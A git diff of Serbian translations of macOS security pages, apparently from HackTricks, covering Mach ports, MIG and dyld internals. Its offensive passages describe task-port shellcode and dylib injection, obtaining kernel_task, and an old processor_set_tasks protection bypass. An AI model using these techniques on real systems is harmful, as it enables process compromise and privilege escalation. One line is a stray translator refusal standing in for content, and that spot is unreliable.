**SEND** prava se mogu dobiti pozivanjem **`host_get_special_port`** i **RECEIVE** prava pozivanjem **`host_set_special_port`**. Međutim, oba poziva zahtevaju **`host_priv`** port koji može pristupiti samo root. Štaviše, u prošlosti je root mogao da pozove **`host_set_special_port`** i preuzme proizvoljan port, što je omogućilo, na primer, zaobilaženje potpisivanja koda preuzimanjem `HOST_KEXTD_PORT` (SIP sada to sprečava).
-Oni su podeljeni u 2 grupe: **prvih 7 portova je u vlasništvu kernela**, a to su 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` i 7 je `HOST_MAX_SPECIAL_KERNEL_PORT`.\
+Ovi su podeljeni u 2 grupe: **prvih 7 portova je u vlasništvu kernela**, a to su 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` i 7 je `HOST_MAX_SPECIAL_KERNEL_PORT`.\
Oni koji počinju **od** broja **8** su **u vlasništvu sistemskih demona** i mogu se naći deklarisani u [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
- **Host port**: Ako proces ima **SEND** privilegiju nad ovim portom, može dobiti **informacije** o **sistemu** pozivajući njegove rutine kao što su:
@@ -440,7 +440,7 @@ procexp all ports | grep "HSP"
```
### Task Special Ports
-Ovo su portovi rezervisani za dobro poznate usluge. Mogu se dobiti/postaviti pozivom `task_[get/set]_special_port`. Mogu se naći u `task_special_ports.h`:
+Ovo su portovi rezervisani za dobro poznate usluge. Moguće je dobiti/postaviti ih pozivajući `task_[get/set]_special_port`. Mogu se naći u `task_special_ports.h`:
```c
typedef int task_special_port_t;
@@ -459,7 +459,7 @@ world.*/
### Task Ports
-Prvobitno, Mach nije imao "procese", već "zadate" koje su se smatrale više kao kontejner niti. Kada je Mach spojen sa BSD **svaki zadatak je bio povezan sa BSD procesom**. Stoga svaki BSD proces ima detalje koji su mu potrebni da bude proces, a svaki Mach zadatak takođe ima svoje unutrašnje funkcionisanje (osim za nepostojeći pid 0 koji je `kernel_task`).
+Prvobitno, Mach nije imao "procese", imao je "zadate" koje su se smatrale više kao kontejner niti. Kada je Mach spojen sa BSD **svaki zadatak je bio povezan sa BSD procesom**. Stoga svaki BSD proces ima detalje koji su mu potrebni da bude proces, a svaki Mach zadatak takođe ima svoje unutrašnje funkcionisanje (osim za nepostojeći pid 0 koji je `kernel_task`).
Postoje dve veoma zanimljive funkcije povezane sa ovim:
@@ -479,7 +479,7 @@ Da bi se izvršavale radnje unutar zadatka, zadatak je trebao `SEND` pravo za se
> [!CAUTION]
> Imajte na umu da sa SEND pravom nad portom zadatka **drugog zadatka**, moguće je izvršiti takve radnje nad drugim zadatkom.
-Pored toga, task_port je takođe **`vm_map`** port koji omogućava **čitanje i manipulaciju memorijom** unutar zadatka sa funkcijama kao što su `vm_read()` i `vm_write()`. To u osnovi znači da zadatak sa SEND pravima nad task_port-om drugog zadatka može **ubaciti kod u taj zadatak**.
+Pored toga, task_port je takođe **`vm_map`** port koji omogućava **čitanje i manipulaciju memorijom** unutar zadatka sa funkcijama kao što su `vm_read()` i `vm_write()`. Ovo u osnovi znači da zadatak sa SEND pravima nad task_port-om drugog zadatka može **ubaciti kod u taj zadatak**.
Zapamtite da zato što je **kernel takođe zadatak**, ako neko uspe da dobije **SEND dozvole** nad **`kernel_task`**, moći će da natera kernel da izvrši bilo šta (jailbreak).
@@ -493,7 +493,7 @@ Zapamtite da zato što je **kernel takođe zadatak**, ako neko uspe da dobije **
### Thread Ports
-Niti takođe imaju povezane portove, koji su vidljivi iz zadatka koji poziva **`task_threads`** i iz procesora sa `processor_set_threads`. SEND pravo nad portom niti omogućava korišćenje funkcija iz `thread_act` podsystema, kao što su:
+Niti takođe imaju povezane portove, koji su vidljivi iz zadatka koji poziva **`task_threads`** i iz procesora sa `processor_set_threads`. SEND pravo nad portom niti omogućava korišćenje funkcija iz `thread_act` pod sistema, kao što su:
- `thread_terminate`
- `thread_[get/set]_state`
@@ -506,7 +506,7 @@ Svaka nit može dobiti ovaj port pozivajući **`mach_thread_sef`**.
### Shellcode Injection in thread via Task port
-Možete preuzeti shellcode sa:
+Možete uzeti shellcode iz:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@@ -558,7 +558,7 @@ return 0;
{{#endtab}}
{{#endtabs}}
-**Kompajlirati** prethodni program i dodati **entitlements** da bi mogli da injektujete kod sa istim korisnikom (ako ne, moraćete da koristite **sudo**).
+**Kompajlirati** prethodni program i dodati **ovlašćenja** da bi mogli da injektujete kod sa istim korisnikom (ako ne, moraćete da koristite **sudo**).
@@ -772,13 +772,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
### Dylib injekcija u niti putem Task porta
-U macOS-u **niti** se mogu manipulisati putem **Mach** ili korišćenjem **posix `pthread` api**. Nit koju smo generisali u prethodnoj injekciji, generisana je koristeći Mach api, tako da **nije posix kompatibilna**.
+U macOS-u **niti** se mogu manipulisati putem **Mach** ili korišćenjem **posix `pthread` api**. Nit koju smo generisali u prethodnoj injekciji, generisana je korišćenjem Mach api, tako da **nije posix kompatibilna**.
Bilo je moguće **injektovati jednostavan shellcode** za izvršavanje komande jer **nije bilo potrebno raditi sa posix** kompatibilnim apijima, samo sa Mach. **Složenije injekcije** bi zahtevale da **nit** takođe bude **posix kompatibilna**.
Stoga, da bi se **poboljšala nit**, trebalo bi da pozove **`pthread_create_from_mach_thread`** koja će **napraviti validan pthread**. Tada bi ovaj novi pthread mogao **pozvati dlopen** da **učita dylib** iz sistema, tako da umesto pisanja novog shellcode-a za izvođenje različitih akcija, moguće je učitati prilagođene biblioteke.
-Možete pronaći **primer dylibs** u (na primer, onaj koji generiše log i zatim možete slušati):
+Možete pronaći **primer dylib-ova** u (na primer, onaj koji generiše log i zatim možete slušati):
{{#ref}}
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
@@ -1076,36 +1076,36 @@ Kada se poziva `task_for_pid` ili `thread_create_*`, povećava se brojač u stru
## Exception Ports
-Kada dođe do izuzetka u niti, ovaj izuzetak se šalje na određeni izuzetan port te niti. Ako nit ne obradi izuzetak, šalje se na portove izuzetaka zadatka. Ako zadatak ne obradi izuzetak, šalje se na port domaćina koji upravlja launchd (gde će biti potvrđen). Ovo se naziva triage izuzetaka.
+Kada dođe do izuzetka u niti, ovaj izuzetak se šalje na određeni izuzetan port te niti. Ako nit ne obradi izuzetak, onda se šalje na portove izuzetaka zadatka. Ako zadatak ne obradi izuzetak, onda se šalje na host port koji upravlja launchd (gde će biti potvrđen). Ovo se naziva triža izuzetaka.
-Napomena: na kraju, obično, ako se ne obradi pravilno, izveštaj će biti obrađen od strane ReportCrash demona. Međutim, moguće je da druga nit u istom zadatku upravlja izuzetkom, što rade alati za izveštavanje o padovima poput `PLCreashReporter`.
+Napomena: na kraju, obično, ako se ne obradi pravilno, izveštaj će biti obrađen od strane ReportCrash daemona. Međutim, moguće je da druga nit u istom zadatku upravlja izuzetkom, što rade alati za izveštavanje o padovima poput `PLCreashReporter`.
## Other Objects
### Clock
-Svaki korisnik može pristupiti informacijama o satu, međutim, da bi postavio vreme ili izmenio druge postavke, mora biti root.
+Svaki korisnik može pristupiti informacijama o satu, međutim, da bi se postavio vreme ili izmenili drugi parametri, potrebno je biti root.
-Da bi dobio informacije, moguće je pozvati funkcije iz `clock` podsystema kao što su: `clock_get_time`, `clock_get_attributtes` ili `clock_alarm`\
-Da bi izmenio vrednosti, `clock_priv` podsystem se može koristiti sa funkcijama kao što su `clock_set_time` i `clock_set_attributes`
+Da bi se dobile informacije, moguće je pozvati funkcije iz `clock` podsystema kao što su: `clock_get_time`, `clock_get_attributtes` ili `clock_alarm`\
+Da bi se izmenile vrednosti, `clock_priv` podsystem može biti korišćen sa funkcijama kao što su `clock_set_time` i `clock_set_attributes`
### Processors and Processor Set
-API-ji procesora omogućavaju kontrolu jednog logičkog procesora pozivom funkcija kao što su `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
+API-ji procesora omogućavaju kontrolu jednog logičkog procesora pozivajući funkcije kao što su `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
-Pored toga, **API-ji skupa procesora** pružaju način za grupisanje više procesora u grupu. Moguće je dobiti podrazumevani skup procesora pozivom **`processor_set_default`**.\
-Ovo su neki zanimljivi API-ji za interakciju sa skupom procesora:
+Pored toga, **API-ji procesorskog skupa** pružaju način za grupisanje više procesora u grupu. Moguće je dobiti podrazumevani procesorski skup pozivajući **`processor_set_default`**.\
+Ovo su neki zanimljivi API-ji za interakciju sa procesorskim skupom:
- `processor_set_statistics`
-- `processor_set_tasks`: Vraća niz prava slanja za sve zadatke unutar skupa procesora
-- `processor_set_threads`: Vraća niz prava slanja za sve niti unutar skupa procesora
+- `processor_set_tasks`: Vraća niz prava slanja za sve zadatke unutar procesorskog skupa
+- `processor_set_threads`: Vraća niz prava slanja za sve niti unutar procesorskog skupa
- `processor_set_stack_usage`
- `processor_set_info`
-Kao što je pomenuto u [**ovom postu**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), u prošlosti je ovo omogućavalo zaobilaženje prethodno pomenute zaštite da se dobiju portovi zadataka u drugim procesima kako bi se njima upravljalo pozivom **`processor_set_tasks`** i dobijanjem host porta na svakom procesu.\
-Danas vam je potreban root da biste koristili tu funkciju i ovo je zaštićeno, tako da ćete moći da dobijete ove portove samo na nezaštićenim procesima.
+Kao što je pomenuto u [**ovom postu**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), u prošlosti je ovo omogućilo zaobilaženje prethodno pomenute zaštite da se dobiju task portovi u drugim procesima kako bi se njima upravljalo pozivajući **`processor_set_tasks`** i dobijajući host port u svakom procesu.\
+Danas je potrebno biti root da bi se koristila ta funkcija i ovo je zaštićeno, tako da ćete moći da dobijete ove portove samo na nezaštićenim procesima.
-Možete to isprobati sa:
+Možete probati sa:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
index 4b74b38aa..830862959 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
@@ -4,7 +4,7 @@
## Osnovne informacije
-MIG je kreiran da ** pojednostavi proces kreiranja Mach IPC** koda. U suštini, **generiše potrebni kod** za komunikaciju servera i klijenta prema datoj definiciji. Čak i ako je generisani kod ružan, programer će samo trebati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre.
+MIG je kreiran da **pojednostavi proces kreiranja Mach IPC** koda. U suštini, **generiše potrebni kod** za komunikaciju servera i klijenta prema datoj definiciji. Čak i ako je generisani kod ružan, programer će samo morati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre.
Definicija se specificira u jeziku za definiciju interfejsa (IDL) koristeći ekstenziju `.defs`.
@@ -13,9 +13,9 @@ Ove definicije imaju 5 sekcija:
- **Deklaracija podsistema**: Ključna reč subsystem se koristi da označi **ime** i **id**. Takođe je moguće označiti ga kao **`KernelServer`** ako server treba da radi u kernelu.
- **Uključivanja i uvozi**: MIG koristi C-preprocesor, tako da može da koristi uvoze. Štaviše, moguće je koristiti `uimport` i `simport` za kod generisan od strane korisnika ili servera.
- **Deklaracije tipova**: Moguće je definisati tipove podataka, iako obično uvozi `mach_types.defs` i `std_types.defs`. Za prilagođene tipove može se koristiti neka sintaksa:
-- \[i`n/out]tran`: Funkcija koja treba da se prevede iz dolazne ili u odlaznu poruku
+- \[i`n/out]tran`: Funkcija koja treba da bude prevedena iz dolazne ili u odlaznu poruku
- `c[user/server]type`: Mapiranje na drugi C tip.
-- `destructor`: Pozovite ovu funkciju kada se tip oslobodi.
+- `destructor`: Pozvati ovu funkciju kada se tip oslobodi.
- **Operacije**: Ovo su definicije RPC metoda. Postoji 5 različitih tipova:
- `routine`: Očekuje odgovor
- `simpleroutine`: Ne očekuje odgovor
@@ -40,7 +40,7 @@ server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
-Napomena da je prvi **argument port koji se vezuje** i MIG će **automatski obraditi port za odgovor** (osim ako se poziva `mig_get_reply_port()` u klijentskom kodu). Štaviše, **ID operacija** će biti **sekvencijalni** počinjući od naznačenog ID-a podsistema (tako da ako je neka operacija zastarela, ona se briše i `skip` se koristi da bi se i dalje koristio njen ID).
+Napomena da je prvi **argument port koji se vezuje** i MIG će **automatski obraditi port za odgovor** (osim ako se ne poziva `mig_get_reply_port()` u klijentskom kodu). Štaviše, **ID operacija** će biti **sekvencijalni** počinjući od naznačenog ID-a podsistema (tako da ako je neka operacija zastarela, ona se briše i `skip` se koristi da se i dalje koristi njen ID).
Sada koristite MIG da generišete server i klijentski kod koji će moći da komuniciraju jedni s drugima kako bi pozvali funkciju Subtract:
```bash
@@ -115,7 +115,7 @@ Zapravo, moguće je identifikovati ovu vezu u strukturi **`subsystem_to_name_map
{ "Subtract", 500 }
#endif
```
-Na kraju, još jedna važna funkcija za rad servera biće **`myipc_server`**, koja će zapravo **pozvati funkciju** vezanu za primljeni id:
+Na kraju, još jedna važna funkcija koja će omogućiti radu servera biće **`myipc_server`**, koja će zapravo **pozvati funkciju** vezanu za primljeni id:
mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@@ -138,7 +138,7 @@ OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
-if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
+if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
@@ -223,7 +223,7 @@ To je zanimljivo jer ako se `_NDR_record` pronađe u binarnom fajlu kao zavisnos
Štaviše, **MIG serveri** imaju tabelu raspodele u `__DATA.__const` (ili u `__CONST.__constdata` u macOS kernelu i `__DATA_CONST.__const` u drugim \*OS kernelima). Ovo se može izdumpovati pomoću **`jtool2`**.
-A **MIG klijenti** će koristiti `__NDR_record` da pošalju sa `__mach_msg` serverima.
+A **MIG klijenti** će koristiti `__NDR_record` za slanje sa `__mach_msg` ka serverima.
## Analiza binarnih fajlova
@@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
```
### Assembly
-Prethodno je pomenuto da će funkcija koja se bavi **pozivanjem ispravne funkcije u zavisnosti od primljenog ID-a poruke** biti `myipc_server`. Međutim, obično nećete imati simbole binarnog fajla (nema imena funkcija), pa je zanimljivo **proveriti kako izgleda dekompilirana** jer će uvek biti vrlo slična (kod ove funkcije je nezavistan od izloženih funkcija):
+Prethodno je pomenuto da će funkcija koja će se pobrinuti za **pozivanje ispravne funkcije u zavisnosti od primljenog ID-a poruke** biti `myipc_server`. Međutim, obično nećete imati simbole binarnog fajla (nema imena funkcija), pa je zanimljivo **proveriti kako izgleda dekompilirana** jer će uvek biti vrlo slična (kod ove funkcije je nezavistan od izloženih funkcija):
{{#tabs}}
{{#tab name="myipc_server decompiled 1"}}
@@ -250,16 +250,16 @@ Prethodno je pomenuto da će funkcija koja se bavi **pozivanjem ispravne funkcij
var_10 = arg0;
var_18 = arg1;
// Početne instrukcije za pronalaženje ispravnih pokazivača funkcija
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
-if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
+if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Poziv sign_extend_64 koji može pomoći u identifikaciji ove funkcije
-// Ovo čuva u rax pokazivač na poziv koji treba da se pozove
+// Ovo čuva u rax pokazivač na poziv koji treba da se izvrši
// Proverite korišćenje adrese 0x100004040 (niz adresa funkcija)
// 0x1f4 = 500 (početni ID)
rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
@@ -298,7 +298,7 @@ stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// Početne instrukcije za pronalaženje ispravnih pokazivača funkcija
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
@@ -307,19 +307,19 @@ var_18 = arg1;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
-if (CPU_FLAGS & G) {
+if (CPU_FLAGS & G) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
-if (r8 < 0x0) {
-if (CPU_FLAGS & L) {
+if (r8 < 0x0) {
+if (CPU_FLAGS & L) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (početni ID)
r8 = r8 - 0x1f4;
@@ -328,19 +328,19 @@ r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
-if (CPU_FLAGS & NE) {
+if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
// Ista if else kao u prethodnoj verziji
// Proverite korišćenje adrese 0x100004040 (niz adresa funkcija)
- if ((r8 & 0x1) == 0x0) {
+ if ((r8 & 0x1) == 0x0) {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
else {
-// Poziv na izračunatu adresu gde bi funkcija trebala biti
+// Poziv na izračunatu adresu gde funkcija treba da bude
(var_20)(var_10, var_18);
var_4 = 0x1;
}
@@ -365,7 +365,7 @@ return r0;
{{#endtab}}
{{#endtabs}}
-U stvari, ako odete na funkciju **`0x100004000`** pronaći ćete niz **`routine_descriptor`** struktura. Prvi element strukture je **adresa** gde je **funkcija** implementirana, a **struktura zauzima 0x28 bajtova**, tako da svaka 0x28 bajtova (počevši od bajta 0) možete dobiti 8 bajtova i to će biti **adresa funkcije** koja će biti pozvana:
+U stvari, ako odete na funkciju **`0x100004000`** pronaći ćete niz **`routine_descriptor`** struktura. Prvi element strukture je **adresa** gde je **funkcija** implementirana, a **struktura zauzima 0x28 bajtova**, tako da svakih 0x28 bajtova (počinjajući od bajta 0) možete dobiti 8 bajtova i to će biti **adresa funkcije** koja će biti pozvana:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
index 38c55788e..e3f807265 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
@@ -4,14 +4,14 @@
## Osnovne informacije
-Pravi **ulaz** Mach-o binarnog fajla je dinamički linkovan, definisan u `LC_LOAD_DYLINKER`, obično je to `/usr/lib/dyld`.
+Pravi **ulazna tačka** Mach-o binarnog fajla je dinamički linkovan, definisan u `LC_LOAD_DYLINKER`, obično je to `/usr/lib/dyld`.
Ovaj linker će morati da locira sve izvršne biblioteke, mapira ih u memoriji i poveže sve ne-lazne biblioteke. Tek nakon ovog procesa, ulazna tačka binarnog fajla će biti izvršena.
Naravno, **`dyld`** nema nikakve zavisnosti (koristi syscalls i delove libSystem).
> [!CAUTION]
-> Ako ovaj linker sadrži neku ranjivost, pošto se izvršava pre nego što se izvrši bilo koji binarni fajl (čak i visoko privilegovani), bilo bi moguće **povećati privilegije**.
+> Ako ovaj linker sadrži bilo kakvu ranjivost, pošto se izvršava pre nego što se izvrši bilo koji binarni fajl (čak i visoko privilegovani), bilo bi moguće **povećati privilegije**.
### Tok
@@ -28,7 +28,7 @@ Zatim, mapira dyld deljenu keš memoriju koja prelinkuje sve važne sistemske bi
1. počinje sa učitavanjem umetnutih biblioteka sa `DYLD_INSERT_LIBRARIES` (ako je dozvoljeno)
2. Zatim deljene keširane
3. Zatim uvezene
-1. Zatim nastavlja sa rekurzivnim uvozom biblioteka
+1. Zatim nastavlja sa rekurzivnim uvozom biblioteka
Kada su sve učitane, **inicijalizatori** ovih biblioteka se izvršavaju. Ove su kodirane koristeći **`__attribute__((constructor))`** definisane u `LC_ROUTINES[_64]` (sada zastarelo) ili putem pokazivača u sekciji označenoj sa `S_MOD_INIT_FUNC_POINTERS` (obično: **`__DATA.__MOD_INIT_FUNC`**).
@@ -36,19 +36,19 @@ Terminatori su kodirani sa **`__attribute__((destructor))`** i nalaze se u sekci
### Stubovi
-Svi binarni fajlovi u macOS-u su dinamički linkovani. Stoga, sadrže neke stub sekcije koje pomažu binarnom fajlu da skoči na pravi kod na različitim mašinama i u različitim kontekstima. To je dyld kada se izvršava binarni fajl mozak koji treba da reši ove adrese (barem one ne-lazne).
+Svi binarni fajlovi u macOS-u su dinamički linkovani. Stoga, sadrže neke stub sekcije koje pomažu binarnom fajlu da skoči na pravi kod u različitim mašinama i kontekstima. To je dyld kada se binarni fajl izvršava mozak koji treba da reši ove adrese (barem one ne-lazne).
Neke stub sekcije u binarnom fajlu:
- **`__TEXT.__[auth_]stubs`**: Pokazivači iz `__DATA` sekcija
- **`__TEXT.__stub_helper`**: Mali kod koji poziva dinamičko linkovanje sa informacijama o funkciji koja se poziva
-- **`__DATA.__[auth_]got`**: Globalna tabela pomeranja (adrese do uvezenih funkcija, kada se reše, (vezane tokom vremena učitavanja jer je označena sa oznakom `S_NON_LAZY_SYMBOL_POINTERS`)
-- **`__DATA.__nl_symbol_ptr`**: Pokazivači na ne-lazne simbole (vezani tokom vremena učitavanja jer je označena sa oznakom `S_NON_LAZY_SYMBOL_POINTERS`)
-- **`__DATA.__la_symbol_ptr`**: Pokazivači na lenje simbole (vezani pri prvom pristupu)
+- **`__DATA.__[auth_]got`**: Globalna tabela ofseta (adrese do uvezenih funkcija, kada se reše, (vezane tokom učitavanja jer je označena sa oznakom `S_NON_LAZY_SYMBOL_POINTERS`)
+- **`__DATA.__nl_symbol_ptr`**: Ne-lazni simboli pokazivači (vezani tokom učitavanja jer je označena sa oznakom `S_NON_LAZY_SYMBOL_POINTERS`)
+- **`__DATA.__la_symbol_ptr`**: Lenji simboli pokazivači (vezani pri prvom pristupu)
> [!WARNING]
-> Imajte na umu da pokazivači sa prefiksom "auth\_" koriste jedan ključ za enkripciju u procesu kako bi ga zaštitili (PAC). Štaviše, moguće je koristiti arm64 instrukciju `BLRA[A/B]` da se verifikuje pokazivač pre nego što se prati. A RETA\[A/B] može se koristiti umesto RET adrese.\
-> U stvari, kod u **`__TEXT.__auth_stubs`** će koristiti **`braa`** umesto **`bl`** da pozove traženu funkciju kako bi autentifikovao pokazivač.
+> Imajte na umu da pokazivači sa prefiksom "auth\_" koriste jedan ključ za enkripciju u procesu za zaštitu (PAC). Štaviše, moguće je koristiti arm64 instrukciju `BLRA[A/B]` da se verifikuje pokazivač pre nego što se prati. A RETA\[A/B] može se koristiti umesto RET adrese.\
+> U stvari, kod u **`__TEXT.__auth_stubs`** će koristiti **`braa`** umesto **`bl`** da pozove traženu funkciju za autentifikaciju pokazivača.
>
> Takođe, imajte na umu da trenutne verzije dyld učitavaju **sve kao ne-lazne**.
@@ -82,7 +82,7 @@ Idx Name Size VMA Type
3 __unwind_info 00000058 0000000100003fa8 DATA
4 __got 00000008 0000000100004000 DATA
```
-U disassembliranju sekcije **`__stubs`**:
+U disasembleru sekcije **`__stubs`**:
```bash
objdump -d --section=__stubs ./load
@@ -95,17 +95,17 @@ Disassembly of section __TEXT,__stubs:
100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16
```
-možete videti da **skačemo na adresu GOT**, koja se u ovom slučaju rešava non-lazy i sadrži adresu printf funkcije.
+možete videti da **skačemo na adresu GOT**, koja se u ovom slučaju rešava non-lazy i sadržaće adresu printf funkcije.
-U drugim situacijama umesto direktnog skakanja na GOT, može skočiti na **`__DATA.__la_symbol_ptr`** koji će učitati vrednost koja predstavlja funkciju koju pokušava da učita, zatim skočiti na **`__TEXT.__stub_helper`** koji skače na **`__DATA.__nl_symbol_ptr`** koji sadrži adresu **`dyld_stub_binder`** koja prima kao parametre broj funkcije i adresu.\
+U drugim situacijama umesto direktnog skakanja na GOT, može skočiti na **`__DATA.__la_symbol_ptr`** koji će učitati vrednost koja predstavlja funkciju koju pokušava da učita, zatim skočiti na **`__TEXT.__stub_helper`** koji skače na **`__DATA.__nl_symbol_ptr`** koji sadrži adresu **`dyld_stub_binder`** koja uzima kao parametre broj funkcije i adresu.\
Ova poslednja funkcija, nakon što pronađe adresu tražene funkcije, upisuje je na odgovarajuću lokaciju u **`__TEXT.__stub_helper`** kako bi izbegla pretrage u budućnosti.
> [!TIP]
> Međutim, primetite da trenutne dyld verzije učitavaju sve kao non-lazy.
-#### Dyld opkodi
+#### Dyld opcodes
-Na kraju, **`dyld_stub_binder`** treba da pronađe naznačenu funkciju i upiše je na odgovarajuću adresu kako ne bi ponovo tražio. Da bi to uradio, koristi opkode (konačna stanja) unutar dyld-a.
+Na kraju, **`dyld_stub_binder`** treba da pronađe naznačenu funkciju i upiše je na odgovarajuću adresu kako ne bi ponovo tražio. Da bi to uradio, koristi opkode (finitni automatski sistem) unutar dyld-a.
## apple\[] argument vektor
@@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
-I'm sorry, but I cannot provide a translation without the specific text you would like translated. Please provide the text you want translated to Serbian.
+I'm sorry, but I cannot provide a translation without the specific text you would like translated. Please provide the relevant English text, and I will translate it to Serbian while following your guidelines.
```
0: executable_path=./a
1:
@@ -180,7 +180,17 @@ moguće je videti sve ove zanimljive vrednosti tokom debagovanja pre nego što s
## dyld_all_image_infos
-Ovo je struktura koju izlaže dyld sa informacijama o stanju dyld-a koja se može naći u [**izvornom kodu**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) sa informacijama kao što su verzija, pokazivač na niz dyld_image_info, na dyld_image_notifier, da
+Ovo je struktura koju izlaže dyld sa informacijama o stanju dyld-a koja se može naći u [**izvornom kodu**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) sa informacijama kao što su verzija, pokazivač na niz dyld_image_info, na dyld_image_notifier, da li je proc odvojen od zajedničkog keša, da li je pozvana inicijalizacija libSystem, pokazivač na Mach zaglavlje dyls-a, pokazivač na dyld verziju string...
+
+## dyld env variables
+
+### debug dyld
+
+Zanimljive env promenljive koje pomažu da se razume šta dyld radi:
+
+- **DYLD_PRINT_LIBRARIES**
+
+Proverite svaku biblioteku koja se učitava:
```
DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@@ -254,9 +264,9 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_PRINT_BINDINGS`: Ispiši simbole kada su vezani
- `DYLD_WEAK_BINDINGS`: Ispiši samo slabe simbole kada su vezani
- `DYLD_PRINT_CODE_SIGNATURES`: Ispiši operacije registracije potpisa koda
-- `DYLD_PRINT_DOFS`: Ispiši D-Trace format sekcija objekta kao učitane
+- `DYLD_PRINT_DOFS`: Ispiši D-Trace format sekcija kao učitane
- `DYLD_PRINT_ENV`: Ispiši env viđen od strane dyld
-- `DYLD_PRINT_INTERPOSTING`: Ispiši operacije interpostinga
+- `DYLD_PRINT_INTERPOSTING`: Ispiši interposting operacije
- `DYLD_PRINT_LIBRARIES`: Ispiši učitane biblioteke
- `DYLD_PRINT_OPTS`: Ispiši opcije učitavanja
- `DYLD_REBASING`: Ispiši operacije ponovnog vezivanja simbola
@@ -279,6 +289,6 @@ find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
```
## Reference
-- [**\*OS Internals, Volume I: User Mode. Autor: Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
+- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{{#include ../../../../banners/hacktricks-training.md}}
